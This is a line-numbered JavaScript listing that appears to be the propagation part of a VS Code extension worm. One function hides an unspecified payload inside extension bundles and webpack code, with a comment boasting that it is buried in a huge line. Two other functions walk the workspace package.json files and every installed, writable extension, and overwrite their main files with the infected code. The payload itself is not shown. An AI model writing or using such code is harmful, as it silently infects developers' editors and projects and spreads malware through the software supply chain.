1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
function pwn_ext_buf(_buf) {
let buf = _buf;
// let buf = fs.readFileSync(fname, "utf8");
let pwnage = sentinel_pwn();
if (buf.includes(pwnage)) return false;
// if (!buf.includes("vscode")) return false;
if (buf.includes("})();\nObject.defineProperty")) {
// easy to hide between these
buf.replace("})();\nObject.defineProperty", "})();\nObject.defineProperty", `})();\n${pwnage}\nObject.defineProperty`);
} else if (buf.includes("__webpack_module_cache__={};function __webpack_require__")) {
// even better, halfway through a fucking 100k line!
buf.replace("__webpack_module_cache__={};function __webpack_require__", `__webpack_module_cache__={};${pwnage}function __webpack_require__`);
} else {
buf = buf + "\n" + Buffer.from(pwnage);
}
// fs.writeFileSync(fname, buf);
return buf;
}
function extension_js_spread() {
vscode["workspace"]["findFiles"]("**/{package.json}", "**/node_modules/**")["then"]((ev) => {
for (var el of ev) {
let j = JSON.parse(fs.readFileSync(el.path, "utf8"));
try {
if (!j["engines"]["vscode"]) continue;
} catch {
//;
}
let mc = path.dirname(el.path) + "/" + j["main"];
let b = fs.readFileSync(mc, "utf8");
let pwnd = pwn_ext_buf(b);
fs.writeFileSync(mc, pwnd ? pwnd : b);
}
});
}
function extension_spread() {
vscode.extensions.all.map(
(e) => {
fs.access(e.extensionPath, 2, (er) => {
if (er) return;
let x = (e.extensionPath + "/" + require(e.extensionPath + "/package.json")["main"]);
x = x.endsWith("js") ? x : x + ".js";
let f = fs.readFileSync(x, "utf8");
let b = pwn_ext_buf(f);
fs.writeFileSync(x, b ? b : f)
})
}
);
}
|